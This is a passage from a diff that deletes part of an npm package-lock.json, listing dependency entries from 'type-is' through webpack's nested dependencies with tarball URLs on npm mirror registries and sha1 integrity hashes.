-      "resolved": "https://registry.nlark.com/type-is/download/type-is-1.6.18.tgz",
-      "integrity": "sha1-TlUs0F3wlGfcvE73Od6J8s83wTE=",
-      "requires": {
-        "media-typer": "0.3.0",
-        "mime-types": "~2.1.24"
-      }
-    },
-    "typedarray": {
-      "version": "0.0.6",
-      "resolved": "https://registry.nlark.com/typedarray/download/typedarray-0.0.6.tgz",
-      "integrity": "sha1-hnrHTjhkGHsdPUfZlqeOxciDB3c="
-    },
-    "typedarray-to-buffer": {
-      "version": "3.1.5",
-      "resolved": "https://registry.npm.taobao.org/typedarray-to-buffer/download/typedarray-to-buffer-3.1.5.tgz",
-      "integrity": "sha1-qX7nqf9CaRufeD/xvFES/j/KkIA=",
-      "requires": {
-        "is-typedarray": "^1.0.0"
-      }
-    },
-    "unbox-primitive": {
-      "version": "1.0.1",
-      "resolved": "https://registry.nlark.com/unbox-primitive/download/unbox-primitive-1.0.1.tgz",
-      "integrity": "sha1-CF4hViXsMWJXTciFmr7nilmxRHE=",
-      "requires": {
-        "function-bind": "^1.1.1",
-        "has-bigints": "^1.0.1",
-        "has-symbols": "^1.0.2",
-        "which-boxed-primitive": "^1.0.2"
-      }
-    },
-    "uncontrollable": {
-      "version": "7.2.1",
-      "resolved": "https://registry.npm.taobao.org/uncontrollable/download/uncontrollable-7.2.1.tgz",
-      "integrity": "sha1-H6cLoMV6FNX3iQXVM89jkW3HVzg=",
-      "requires": {
-        "@babel/runtime": "^7.6.3",
-        "@types/react": ">=16.9.11",
-        "invariant": "^2.2.4",
-        "react-lifecycles-compat": "^3.0.4"
-      }
-    },
-    "unicode-canonical-property-names-ecmascript": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npm.taobao.org/unicode-canonical-property-names-ecmascript/download/unicode-canonical-property-names-ecmascript-1.0.4.tgz",
-      "integrity": "sha1-JhmADEyCWADv3YNDr33Zkzy+KBg="
-    },
-    "unicode-match-property-ecmascript": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npm.taobao.org/unicode-match-property-ecmascript/download/unicode-match-property-ecmascript-1.0.4.tgz",
-      "integrity": "sha1-jtKjJWmWG86SJ9Cc0/+7j+1fAgw=",
-      "requires": {
-        "unicode-canonical-property-names-ecmascript": "^1.0.4",
-        "unicode-property-aliases-ecmascript": "^1.0.4"
-      }
-    },
-    "unicode-match-property-value-ecmascript": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npm.taobao.org/unicode-match-property-value-ecmascript/download/unicode-match-property-value-ecmascript-1.2.0.tgz",
-      "integrity": "sha1-DZH2AO7rMJaqlisdb8iIduZOpTE="
-    },
-    "unicode-property-aliases-ecmascript": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npm.taobao.org/unicode-property-aliases-ecmascript/download/unicode-property-aliases-ecmascript-1.1.0.tgz",
-      "integrity": "sha1-3Vepn2IHvt/0Yoq++5TFDblByPQ="
-    },
-    "union-value": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/union-value/download/union-value-1.0.1.tgz",
-      "integrity": "sha1-C2/nuDWuzaYcbqTU8CwUIh4QmEc=",
-      "requires": {
-        "arr-union": "^3.1.0",
-        "get-value": "^2.0.6",
-        "is-extendable": "^0.1.1",
-        "set-value": "^2.0.1"
-      }
-    },
-    "uniq": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/uniq/download/uniq-1.0.1.tgz",
-      "integrity": "sha1-sxxa6CVIRKOoKBVBzisEuGWnNP8="
-    },
-    "uniqs": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npm.taobao.org/uniqs/download/uniqs-2.0.0.tgz",
-      "integrity": "sha1-/+3ks2slKQaW5uFl1KWe25mOawI="
-    },
-    "unique-filename": {
-      "version": "1.1.1",
-      "resolved": "https://registry.nlark.com/unique-filename/download/unique-filename-1.1.1.tgz",
-      "integrity": "sha1-HWl2k2mtoFgxA6HmrodoG1ZXMjA=",
-      "requires": {
-        "unique-slug": "^2.0.0"
-      }
-    },
-    "unique-slug": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npm.taobao.org/unique-slug/download/unique-slug-2.0.2.tgz",
-      "integrity": "sha1-uqvOkQg/xk6UWw861hPiZPfNTmw=",
-      "requires": {
-        "imurmurhash": "^0.1.4"
-      }
-    },
-    "unique-string": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/unique-string/download/unique-string-1.0.0.tgz",
-      "integrity": "sha1-nhBXzKhRq7kzmPizOuGHuZyuwRo=",
-      "requires": {
-        "crypto-random-string": "^1.0.0"
-      }
-    },
-    "universalify": {
-      "version": "2.0.0",
-      "resolved": "https://registry.nlark.com/universalify/download/universalify-2.0.0.tgz",
-      "integrity": "sha1-daSYTv7cSwiXXFrrc/Uw0C3yVxc="
-    },
-    "unpipe": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/unpipe/download/unpipe-1.0.0.tgz",
-      "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw="
-    },
-    "unquote": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npm.taobao.org/unquote/download/unquote-1.1.1.tgz",
-      "integrity": "sha1-j97XMk7G6IoP+LkF58CYzcCG1UQ="
-    },
-    "unset-value": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npm.taobao.org/unset-value/download/unset-value-1.0.0.tgz?cache=0&sync_timestamp=1616088950015&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Funset-value%2Fdownload%2Funset-value-1.0.0.tgz",
-      "integrity": "sha1-g3aHP30jNRef+x5vw6jtDfyKtVk=",
-      "requires": {
-        "has-value": "^0.3.1",
-        "isobject": "^3.0.0"
-      },
-      "dependencies": {
-        "has-value": {
-          "version": "0.3.1",
-          "resolved": "https://registry.npm.taobao.org/has-value/download/has-value-0.3.1.tgz",
-          "integrity": "sha1-ex9YutpiyoJ+wKIHgCVlSEWZXh8=",
-          "requires": {
-            "get-value": "^2.0.3",
-            "has-values": "^0.1.4",
-            "isobject": "^2.0.0"
-          },
-          "dependencies": {
-            "isobject": {
-              "version": "2.1.0",
-              "resolved": "https://registry.npm.taobao.org/isobject/download/isobject-2.1.0.tgz",
-              "integrity": "sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk=",
-              "requires": {
-                "isarray": "1.0.0"
-              }
-            }
-          }
-        },
-        "has-values": {
-          "version": "0.1.4",
-          "resolved": "https://registry.npm.taobao.org/has-values/download/has-values-0.1.4.tgz",
-          "integrity": "sha1-bWHeldkd/Km5oCCJrThL/49it3E="
-        }
-      }
-    },
-    "upath": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npm.taobao.org/upath/download/upath-1.2.0.tgz?cache=0&sync_timestamp=1604768535464&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fupath%2Fdownload%2Fupath-1.2.0.tgz",
-      "integrity": "sha1-j2bbzVWog6za5ECK+LA1pQRMGJQ="
-    },
-    "uri-js": {
-      "version": "4.4.1",
-      "resolved": "https://registry.npm.taobao.org/uri-js/download/uri-js-4.4.1.tgz?cache=0&sync_timestamp=1610237756396&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Furi-js%2Fdownload%2Furi-js-4.4.1.tgz",
-      "integrity": "sha1-mxpSWVIlhZ5V9mnZKPiMbFfyp34=",
-      "requires": {
-        "punycode": "^2.1.0"
-      }
-    },
-    "urix": {
-      "version": "0.1.0",
-      "resolved": "https://registry.npm.taobao.org/urix/download/urix-0.1.0.tgz",
-      "integrity": "sha1-2pN/emLiH+wf0Y1Js1wpNQZ6bHI="
-    },
-    "url": {
-      "version": "0.11.0",
-      "resolved": "https://registry.npm.taobao.org/url/download/url-0.11.0.tgz",
-      "integrity": "sha1-ODjpfPxgUh63PFJajlW/3Z4uKPE=",
-      "requires": {
-        "punycode": "1.3.2",
-        "querystring": "0.2.0"
-      },
-      "dependencies": {
-        "punycode": {
-          "version": "1.3.2",
-          "resolved": "https://registry.nlark.com/punycode/download/punycode-1.3.2.tgz",
-          "integrity": "sha1-llOgNvt8HuQjQvIyXM7v6jkmxI0="
-        },
-        "querystring": {
-          "version": "0.2.0",
-          "resolved": "https://registry.npm.taobao.org/querystring/download/querystring-0.2.0.tgz",
-          "integrity": "sha1-sgmEkgO7Jd+CDadW50cAWHhSFiA="
-        }
-      }
-    },
-    "url-loader": {
-      "version": "4.1.1",
-      "resolved": "https://registry.npm.taobao.org/url-loader/download/url-loader-4.1.1.tgz",
-      "integrity": "sha1-KFBekFyuFYzwfJLKYi1/I35wpOI=",
-      "requires": {
-        "loader-utils": "^2.0.0",
-        "mime-types": "^2.1.27",
-        "schema-utils": "^3.0.0"
-      },
-      "dependencies": {
-        "schema-utils": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npm.taobao.org/schema-utils/download/schema-utils-3.0.0.tgz",
-          "integrity": "sha1-Z1AvaqK2ai1AMrQnmilEl4oJE+8=",
-          "requires": {
-            "@types/json-schema": "^7.0.6",
-            "ajv": "^6.12.5",
-            "ajv-keywords": "^3.5.2"
-          }
-        }
-      }
-    },
-    "url-parse": {
-      "version": "1.5.1",
-      "resolved": "https://registry.npm.taobao.org/url-parse/download/url-parse-1.5.1.tgz?cache=0&sync_timestamp=1613659753482&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Furl-parse%2Fdownload%2Furl-parse-1.5.1.tgz",
-      "integrity": "sha1-1fqYkK+KXh8nSiyYN2UQ9kJfbjs=",
-      "requires": {
-        "querystringify": "^2.1.1",
-        "requires-port": "^1.0.0"
-      }
-    },
-    "use": {
-      "version": "3.1.1",
-      "resolved": "https://registry.npm.taobao.org/use/download/use-3.1.1.tgz",
-      "integrity": "sha1-1QyMrHmhn7wg8pEfVuuXP04QBw8="
-    },
-    "util": {
-      "version": "0.11.1",
-      "resolved": "https://registry.nlark.com/util/download/util-0.11.1.tgz",
-      "integrity": "sha1-MjZzNyDsZLsn9uJvQhqqLhtYjWE=",
-      "requires": {
-        "inherits": "2.0.3"
-      },
-      "dependencies": {
-        "inherits": {
-          "version": "2.0.3",
-          "resolved": "https://registry.npm.taobao.org/inherits/download/inherits-2.0.3.tgz",
-          "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4="
-        }
-      }
-    },
-    "util-deprecate": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npm.taobao.org/util-deprecate/download/util-deprecate-1.0.2.tgz",
-      "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8="
-    },
-    "util.promisify": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/util.promisify/download/util.promisify-1.0.1.tgz?cache=0&sync_timestamp=1610159819836&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Futil.promisify%2Fdownload%2Futil.promisify-1.0.1.tgz",
-      "integrity": "sha1-a693dLgO6w91INi4HQeYKlmruu4=",
-      "requires": {
-        "define-properties": "^1.1.3",
-        "es-abstract": "^1.17.2",
-        "has-symbols": "^1.0.1",
-        "object.getownpropertydescriptors": "^2.1.0"
-      }
-    },
-    "utila": {
-      "version": "0.4.0",
-      "resolved": "https://registry.npm.taobao.org/utila/download/utila-0.4.0.tgz",
-      "integrity": "sha1-ihagXURWV6Oupe7MWxKk+lN5dyw="
-    },
-    "utils-merge": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/utils-merge/download/utils-merge-1.0.1.tgz",
-      "integrity": "sha1-n5VxD1CiZ5R7LMwSR0HBAoQn5xM="
-    },
-    "uuid": {
-      "version": "8.3.2",
-      "resolved": "https://registry.nlark.com/uuid/download/uuid-8.3.2.tgz",
-      "integrity": "sha1-gNW1ztJxu5r2xEXyGhoExgbO++I=",
-      "optional": true
-    },
-    "v8-compile-cache": {
-      "version": "2.3.0",
-      "resolved": "https://registry.npm.taobao.org/v8-compile-cache/download/v8-compile-cache-2.3.0.tgz?cache=0&sync_timestamp=1614993639567&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fv8-compile-cache%2Fdownload%2Fv8-compile-cache-2.3.0.tgz",
-      "integrity": "sha1-LeGWGMZtwkfc+2+ZM4A12CRaLO4="
-    },
-    "v8-to-istanbul": {
-      "version": "7.1.2",
-      "resolved": "https://registry.nlark.com/v8-to-istanbul/download/v8-to-istanbul-7.1.2.tgz",
-      "integrity": "sha1-MImNGn+gyE0iWiwUNPuVjykIg8E=",
-      "requires": {
-        "@types/istanbul-lib-coverage": "^2.0.1",
-        "convert-source-map": "^1.6.0",
-        "source-map": "^0.7.3"
-      },
-      "dependencies": {
-        "source-map": {
-          "version": "0.7.3",
-          "resolved": "https://registry.npm.taobao.org/source-map/download/source-map-0.7.3.tgz",
-          "integrity": "sha1-UwL4FpAxc1ImVECS5kmB91F1A4M="
-        }
-      }
-    },
-    "validate-npm-package-license": {
-      "version": "3.0.4",
-      "resolved": "https://registry.npm.taobao.org/validate-npm-package-license/download/validate-npm-package-license-3.0.4.tgz",
-      "integrity": "sha1-/JH2uce6FchX9MssXe/uw51PQQo=",
-      "requires": {
-        "spdx-correct": "^3.0.0",
-        "spdx-expression-parse": "^3.0.0"
-      }
-    },
-    "vary": {
-      "version": "1.1.2",
-      "resolved": "https://registry.nlark.com/vary/download/vary-1.1.2.tgz",
-      "integrity": "sha1-IpnwLG3tMNSllhsLn3RSShj2NPw="
-    },
-    "vendors": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npm.taobao.org/vendors/download/vendors-1.0.4.tgz?cache=0&sync_timestamp=1615203397897&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fvendors%2Fdownload%2Fvendors-1.0.4.tgz",
-      "integrity": "sha1-4rgApT56Kbk1BsPPQRANFsTErY4="
-    },
-    "vm-browserify": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npm.taobao.org/vm-browserify/download/vm-browserify-1.1.2.tgz",
-      "integrity": "sha1-eGQcSIuObKkadfUR56OzKobl3aA="
-    },
-    "w3c-hr-time": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npm.taobao.org/w3c-hr-time/download/w3c-hr-time-1.0.2.tgz",
-      "integrity": "sha1-ConN9cwVgi35w2BUNnaWPgzDCM0=",
-      "requires": {
-        "browser-process-hrtime": "^1.0.0"
-      }
-    },
-    "w3c-xmlserializer": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npm.taobao.org/w3c-xmlserializer/download/w3c-xmlserializer-2.0.0.tgz",
-      "integrity": "sha1-PnEEoFt1FGzGD1ZDgLf2g6zxAgo=",
-      "requires": {
-        "xml-name-validator": "^3.0.0"
-      }
-    },
-    "walker": {
-      "version": "1.0.7",
-      "resolved": "https://registry.npm.taobao.org/walker/download/walker-1.0.7.tgz",
-      "integrity": "sha1-L3+bj9ENZ3JisYqITijRlhjgKPs=",
-      "requires": {
-        "makeerror": "1.0.x"
-      }
-    },
-    "warning": {
-      "version": "4.0.3",
-      "resolved": "https://registry.npm.taobao.org/warning/download/warning-4.0.3.tgz",
-      "integrity": "sha1-Fungd+uKhtavfWSqHgX9hbRnjKM=",
-      "requires": {
-        "loose-envify": "^1.0.0"
-      }
-    },
-    "watchpack": {
-      "version": "1.7.5",
-      "resolved": "https://registry.nlark.com/watchpack/download/watchpack-1.7.5.tgz",
-      "integrity": "sha1-EmfmxV4Lm1vkTCAjrtVDeiwmxFM=",
-      "requires": {
-        "chokidar": "^3.4.1",
-        "graceful-fs": "^4.1.2",
-        "neo-async": "^2.5.0",
-        "watchpack-chokidar2": "^2.0.1"
-      }
-    },
-    "watchpack-chokidar2": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npm.taobao.org/watchpack-chokidar2/download/watchpack-chokidar2-2.0.1.tgz?cache=0&sync_timestamp=1604989128919&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fwatchpack-chokidar2%2Fdownload%2Fwatchpack-chokidar2-2.0.1.tgz",
-      "integrity": "sha1-OFAAcu5uzmbzdpk2lQ6hdxvhyVc=",
-      "optional": true,
-      "requires": {
-        "chokidar": "^2.1.8"
-      },
-      "dependencies": {
-        "anymatch": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/anymatch/download/anymatch-2.0.0.tgz?cache=0&sync_timestamp=1617747502795&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fanymatch%2Fdownload%2Fanymatch-2.0.0.tgz",
-          "integrity": "sha1-vLJLTzeTTZqnrBe0ra+J58du8us=",
-          "optional": true,
-          "requires": {
-            "micromatch": "^3.1.4",
-            "normalize-path": "^2.1.1"
-          },
-          "dependencies": {
-            "normalize-path": {
-              "version": "2.1.1",
-              "resolved": "https://registry.npm.taobao.org/normalize-path/download/normalize-path-2.1.1.tgz",
-              "integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=",
-              "optional": true,
-              "requires": {
-                "remove-trailing-separator": "^1.0.1"
-              }
-            }
-          }
-        },
-        "binary-extensions": {
-          "version": "1.13.1",
-          "resolved": "https://registry.npm.taobao.org/binary-extensions/download/binary-extensions-1.13.1.tgz",
-          "integrity": "sha1-WYr+VHVbKGilMw0q/51Ou1Mgm2U=",
-          "optional": true
-        },
-        "braces": {
-          "version": "2.3.2",
-          "resolved": "https://registry.npm.taobao.org/braces/download/braces-2.3.2.tgz",
-          "integrity": "sha1-WXn9PxTNUxVl5fot8av/8d+u5yk=",
-          "optional": true,
-          "requires": {
-            "arr-flatten": "^1.1.0",
-            "array-unique": "^0.3.2",
-            "extend-shallow": "^2.0.1",
-            "fill-range": "^4.0.0",
-            "isobject": "^3.0.1",
-            "repeat-element": "^1.1.2",
-            "snapdragon": "^0.8.1",
-            "snapdragon-node": "^2.0.1",
-            "split-string": "^3.0.2",
-            "to-regex": "^3.0.1"
-          },
-          "dependencies": {
-            "extend-shallow": {
-              "version": "2.0.1",
-              "resolved": "https://registry.npm.taobao.org/extend-shallow/download/extend-shallow-2.0.1.tgz",
-              "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
-              "optional": true,
-              "requires": {
-                "is-extendable": "^0.1.0"
-              }
-            }
-          }
-        },
-        "chokidar": {
-          "version": "2.1.8",
-          "resolved": "https://registry.npm.taobao.org/chokidar/download/chokidar-2.1.8.tgz?cache=0&sync_timestamp=1610719375974&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fchokidar%2Fdownload%2Fchokidar-2.1.8.tgz",
-          "integrity": "sha1-gEs6e2qZNYw8XGHnHYco8EHP+Rc=",
-          "optional": true,
-          "requires": {
-            "anymatch": "^2.0.0",
-            "async-each": "^1.0.1",
-            "braces": "^2.3.2",
-            "fsevents": "^1.2.7",
-            "glob-parent": "^3.1.0",
-            "inherits": "^2.0.3",
-            "is-binary-path": "^1.0.0",
-            "is-glob": "^4.0.0",
-            "normalize-path": "^3.0.0",
-            "path-is-absolute": "^1.0.0",
-            "readdirp": "^2.2.1",
-            "upath": "^1.1.1"
-          }
-        },
-        "fill-range": {
-          "version": "4.0.0",
-          "resolved": "https://registry.npm.taobao.org/fill-range/download/fill-range-4.0.0.tgz",
-          "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=",
-          "optional": true,
-          "requires": {
-            "extend-shallow": "^2.0.1",
-            "is-number": "^3.0.0",
-            "repeat-string": "^1.6.1",
-            "to-regex-range": "^2.1.0"
-          },
-          "dependencies": {
-            "extend-shallow": {
-              "version": "2.0.1",
-              "resolved": "https://registry.npm.taobao.org/extend-shallow/download/extend-shallow-2.0.1.tgz",
-              "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
-              "optional": true,
-              "requires": {
-                "is-extendable": "^0.1.0"
-              }
-            }
-          }
-        },
-        "fsevents": {
-          "version": "1.2.13",
-          "resolved": "https://registry.npm.taobao.org/fsevents/download/fsevents-1.2.13.tgz",
-          "integrity": "sha1-8yXLBFVZJCi88Rs4M3DvcOO/zDg=",
-          "optional": true,
-          "requires": {
-            "bindings": "^1.5.0",
-            "nan": "^2.12.1"
-          }
-        },
-        "glob-parent": {
-          "version": "3.1.0",
-          "resolved": "https://registry.nlark.com/glob-parent/download/glob-parent-3.1.0.tgz?cache=0&sync_timestamp=1620073438189&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fglob-parent%2Fdownload%2Fglob-parent-3.1.0.tgz",
-          "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=",
-          "optional": true,
-          "requires": {
-            "is-glob": "^3.1.0",
-            "path-dirname": "^1.0.0"
-          },
-          "dependencies": {
-            "is-glob": {
-              "version": "3.1.0",
-              "resolved": "https://registry.npm.taobao.org/is-glob/download/is-glob-3.1.0.tgz",
-              "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=",
-              "optional": true,
-              "requires": {
-                "is-extglob": "^2.1.0"
-              }
-            }
-          }
-        },
-        "is-binary-path": {
-          "version": "1.0.1",
-          "resolved": "https://registry.npm.taobao.org/is-binary-path/download/is-binary-path-1.0.1.tgz",
-          "integrity": "sha1-dfFmQrSA8YenEcgUFh/TpKdlWJg=",
-          "optional": true,
-          "requires": {
-            "binary-extensions": "^1.0.0"
-          }
-        },
-        "is-number": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npm.taobao.org/is-number/download/is-number-3.0.0.tgz",
-          "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=",
-          "optional": true,
-          "requires": {
-            "kind-of": "^3.0.2"
-          },
-          "dependencies": {
-            "kind-of": {
-              "version": "3.2.2",
-              "resolved": "https://registry.npm.taobao.org/kind-of/download/kind-of-3.2.2.tgz",
-              "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
-              "optional": true,
-              "requires": {
-                "is-buffer": "^1.1.5"
-              }
-            }
-          }
-        },
-        "micromatch": {
-          "version": "3.1.10",
-          "resolved": "https://registry.npm.taobao.org/micromatch/download/micromatch-3.1.10.tgz?cache=0&sync_timestamp=1618054841521&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fmicromatch%2Fdownload%2Fmicromatch-3.1.10.tgz",
-          "integrity": "sha1-cIWbyVyYQJUvNZoGij/En57PrCM=",
-          "optional": true,
-          "requires": {
-            "arr-diff": "^4.0.0",
-            "array-unique": "^0.3.2",
-            "braces": "^2.3.1",
-            "define-property": "^2.0.2",
-            "extend-shallow": "^3.0.2",
-            "extglob": "^2.0.4",
-            "fragment-cache": "^0.2.1",
-            "kind-of": "^6.0.2",
-            "nanomatch": "^1.2.9",
-            "object.pick": "^1.3.0",
-            "regex-not": "^1.0.0",
-            "snapdragon": "^0.8.1",
-            "to-regex": "^3.0.2"
-          }
-        },
-        "readable-stream": {
-          "version": "2.3.7",
-          "resolved": "https://registry.npm.taobao.org/readable-stream/download/readable-stream-2.3.7.tgz",
-          "integrity": "sha1-Hsoc9xGu+BTAT2IlKjamL2yyO1c=",
-          "optional": true,
-          "requires": {
-            "core-util-is": "~1.0.0",
-            "inherits": "~2.0.3",
-            "isarray": "~1.0.0",
-            "process-nextick-args": "~2.0.0",
-            "safe-buffer": "~5.1.1",
-            "string_decoder": "~1.1.1",
-            "util-deprecate": "~1.0.1"
-          }
-        },
-        "readdirp": {
-          "version": "2.2.1",
-          "resolved": "https://registry.npm.taobao.org/readdirp/download/readdirp-2.2.1.tgz?cache=0&sync_timestamp=1615717369278&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Freaddirp%2Fdownload%2Freaddirp-2.2.1.tgz",
-          "integrity": "sha1-DodiKjMlqjPokihcr4tOhGUppSU=",
-          "optional": true,
-          "requires": {
-            "graceful-fs": "^4.1.11",
-            "micromatch": "^3.1.10",
-            "readable-stream": "^2.0.2"
-          }
-        },
-        "string_decoder": {
-          "version": "1.1.1",
-          "resolved": "https://registry.npm.taobao.org/string_decoder/download/string_decoder-1.1.1.tgz",
-          "integrity": "sha1-nPFhG6YmhdcDCunkujQUnDrwP8g=",
-          "optional": true,
-          "requires": {
-            "safe-buffer": "~5.1.0"
-          }
-        },
-        "to-regex-range": {
-          "version": "2.1.1",
-          "resolved": "https://registry.npm.taobao.org/to-regex-range/download/to-regex-range-2.1.1.tgz",
-          "integrity": "sha1-fIDBe53+vlmeJzZ+DU3VWQFB2zg=",
-          "optional": true,
-          "requires": {
-            "is-number": "^3.0.0",
-            "repeat-string": "^1.6.1"
-          }
-        }
-      }
-    },
-    "wbuf": {
-      "version": "1.7.3",
-      "resolved": "https://registry.npm.taobao.org/wbuf/download/wbuf-1.7.3.tgz",
-      "integrity": "sha1-wdjRSTFtPqhShIiVy2oL/oh7h98=",
-      "requires": {
-        "minimalistic-assert": "^1.0.0"
-      }
-    },
-    "web-vitals": {
-      "version": "1.1.2",
-      "resolved": "https://registry.nlark.com/web-vitals/download/web-vitals-1.1.2.tgz",
-      "integrity": "sha1-BlNTCBaJhgliOaqEcW5otMaubRw="
-    },
-    "webidl-conversions": {
-      "version": "6.1.0",
-      "resolved": "https://registry.npm.taobao.org/webidl-conversions/download/webidl-conversions-6.1.0.tgz",
-      "integrity": "sha1-kRG01+qArNQPUnDWZmIa+ni2lRQ="
-    },
-    "webpack": {
-      "version": "4.44.2",
-      "resolved": "https://registry.nlark.com/webpack/download/webpack-4.44.2.tgz?cache=0&sync_timestamp=1622150661840&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fwebpack%2Fdownload%2Fwebpack-4.44.2.tgz",
-      "integrity": "sha1-a/4rCvBVyLLR6Q7SzZNj+EEma3I=",
-      "requires": {
-        "@webassemblyjs/ast": "1.9.0",
-        "@webassemblyjs/helper-module-context": "1.9.0",
-        "@webassemblyjs/wasm-edit": "1.9.0",
-        "@webassemblyjs/wasm-parser": "1.9.0",
-        "acorn": "^6.4.1",
-        "ajv": "^6.10.2",
-        "ajv-keywords": "^3.4.1",
-        "chrome-trace-event": "^1.0.2",
-        "enhanced-resolve": "^4.3.0",
-        "eslint-scope": "^4.0.3",
-        "json-parse-better-errors": "^1.0.2",
-        "loader-runner": "^2.4.0",
-        "loader-utils": "^1.2.3",
-        "memory-fs": "^0.4.1",
-        "micromatch": "^3.1.10",
-        "mkdirp": "^0.5.3",
-        "neo-async": "^2.6.1",
-        "node-libs-browser": "^2.2.1",
-        "schema-utils": "^1.0.0",
-        "tapable": "^1.1.3",
-        "terser-webpack-plugin": "^1.4.3",
-        "watchpack": "^1.7.4",
-        "webpack-sources": "^1.4.1"
-      },
-      "dependencies": {
-        "acorn": {
-          "version": "6.4.2",
-          "resolved": "https://registry.nlark.com/acorn/download/acorn-6.4.2.tgz?cache=0&sync_timestamp=1622440161899&other_urls=https%3A%2F%2Fregistry.nlark.com%2Facorn%2Fdownload%2Facorn-6.4.2.tgz",
-          "integrity": "sha1-NYZv1xBSjpLeEM8GAWSY5H454eY="
-        },
-        "braces": {
-          "version": "2.3.2",
-          "resolved": "https://registry.npm.taobao.org/braces/download/braces-2.3.2.tgz",
-          "integrity": "sha1-WXn9PxTNUxVl5fot8av/8d+u5yk=",
-          "requires": {
-            "arr-flatten": "^1.1.0",
-            "array-unique": "^0.3.2",
-            "extend-shallow": "^2.0.1",
-            "fill-range": "^4.0.0",
-            "isobject": "^3.0.1",
-            "repeat-element": "^1.1.2",
-            "snapdragon": "^0.8.1",
-            "snapdragon-node": "^2.0.1",
-            "split-string": "^3.0.2",
-            "to-regex": "^3.0.1"
-          },
-          "dependencies": {
-            "extend-shallow": {
-              "version": "2.0.1",
-              "resolved": "https://registry.npm.taobao.org/extend-shallow/download/extend-shallow-2.0.1.tgz",
-              "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
-              "requires": {
-                "is-extendable": "^0.1.0"
-              }
-            }
-          }
-        },
-        "cacache": {
-          "version": "12.0.4",
-          "resolved": "https://registry.nlark.com/cacache/download/cacache-12.0.4.tgz?cache=0&sync_timestamp=1621949655085&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fcacache%2Fdownload%2Fcacache-12.0.4.tgz",
-          "integrity": "sha1-ZovL0QWutfHZL+JVcOyVJcj6pAw=",
-          "requires": {
-            "bluebird": "^3.5.5",
-            "chownr": "^1.1.1",
-            "figgy-pudding": "^3.5.1",
-            "glob": "^7.1.4",
-            "graceful-fs": "^4.1.15",
-            "infer-owner": "^1.0.3",
-            "lru-cache": "^5.1.1",
-            "mississippi": "^3.0.0",
-            "mkdirp": "^0.5.1",
-            "move-concurrently": "^1.0.1",
-            "promise-inflight": "^1.0.1",
-            "rimraf": "^2.6.3",
-            "ssri": "^6.0.1",
-            "unique-filename": "^1.1.1",
-            "y18n": "^4.0.0"
-          }
-        },
-        "chownr": {
-          "version": "1.1.4",
-          "resolved": "https://registry.npm.taobao.org/chownr/download/chownr-1.1.4.tgz",
-          "integrity": "sha1-b8nXtC0ypYNZYzdmbn0ICE2izGs="
-        },
-        "eslint-scope": {
-          "version": "4.0.3",
-          "resolved": "https://registry.npm.taobao.org/eslint-scope/download/eslint-scope-4.0.3.tgz",
-          "integrity": "sha1-ygODMxD2iJoyZHgaqC5j65z+eEg=",
-          "requires": {
-            "esrecurse": "^4.1.0",
-            "estraverse": "^4.1.1"
-          }
-        },
-        "fill-range": {
-          "version": "4.0.0",
-          "resolved": "https://registry.npm.taobao.org/fill-range/download/fill-range-4.0.0.tgz",
-          "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=",
-          "requires": {
-            "extend-shallow": "^2.0.1",
-            "is-number": "^3.0.0",
-            "repeat-string": "^1.6.1",
-            "to-regex-range": "^2.1.0"
-          },
-          "dependencies": {
-            "extend-shallow": {
-              "version": "2.0.1",
-              "resolved": "https://registry.npm.taobao.org/extend-shallow/download/extend-shallow-2.0.1.tgz",
